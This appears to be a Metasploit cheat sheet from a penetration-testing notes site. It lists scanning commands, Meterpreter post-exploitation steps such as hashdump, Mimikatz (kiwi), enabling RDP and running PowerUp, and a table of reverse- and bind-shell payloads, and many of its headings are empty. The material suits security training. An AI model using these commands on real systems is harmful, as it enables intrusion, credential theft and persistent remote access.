Metasploit

# Nmap scan
db_nmap -sV [IP]

hosts
services
vulns

sessions -i [session_id]

meterpreter > getuid
meterpreter > getprivs
meterpreter > sysinfo
meterpreter > ipconfig

# VM ?
meterpreter > run post/windows/gather/checkvm

# Exploit ?
meterpreter > run post/multi/recon/local_exploit_suggester 

# Enable RDP 
meterpreter > run post/windows/manage/enable_rdp

meterpreter > hashdump

#Mimikatz
load kiwi

#PowerShell > PowerUp

meterpreter > upload /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1
[*] uploading  : /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 -> PowerUp.ps1
[*] Uploaded 483.72 KiB of 483.72 KiB (100.0%): /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 -> PowerUp.ps1
[*] uploaded   : /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 -> PowerUp.ps1
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS > . .\PowerUp.ps1
PS > Invoke-AllChecks

Permanent target specification

setg : global variable

Targets

Payload

Payload

Description

generic/custom

Generic listener, multi-use

generic/shell_bind_tcp

Generic listener, multi-use, normal shell, TCP connection binding

generic/shell_reverse_tcp

Generic listener, multi-use, normal shell, reverse TCP connection

windows/x64/exec

Executes an arbitrary command (Windows x64)

windows/x64/loadlibrary

Loads an arbitrary x64 library path

windows/x64/messagebox

Spawns a dialog via MessageBox using a customizable title, text & icon

windows/x64/shell_reverse_tcp

Normal shell, single payload, reverse TCP connection

windows/x64/shell/reverse_tcp

Normal shell, stager + stage, reverse TCP connection

windows/x64/shell/bind_ipv6_tcp

Normal shell, stager + stage, IPv6 Bind TCP stager

windows/x64/meterpreter/$

Meterpreter payload + varieties above

windows/x64/powershell/$

Interactive PowerShell sessions + varieties above

windows/x64/vncinject/$

VNC Server (Reflective Injection) + varieties above

More payload:

Import new exploit

Example 1

Example 2

msfconsole

Windows payload

Linux payload

PSExec

SMBPass could be a NTLM hash

Meterpreter commands

Getuid - whoami

List directory

Change directory - cd

meterpreter > cd c:\\

meterpreter > cd c:\\Users\\Administrator\\Desktop

Read File

Upload - Transfer file to victim

Download - Transfer file to attack host

Execute Powershell

Sessions

EternalBlue - MS17-010

MS17-010 (EternalBlue) has been known to affect hosts ranging from Windows 2008 to Server 2016.

Exploit - psexec

Sysinfo

Privileges

Migration

Background

Local Exploit Suggester

Dumping Hashes

SAM

LSA

Pivoting - Proxy

Pivot, Tunneling and Port Forwarding

WinRM

WinRM (5985, 5986)

SMB

SMB (445, 139) / RPC

Upgrade - shell to meterpreter

msf6 post(multi/manage/shell_to_meterpreter) > run

SSH

msf6 auxiliary(scanner/ssh/ssh_login) >

Interesting Book

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

Last updated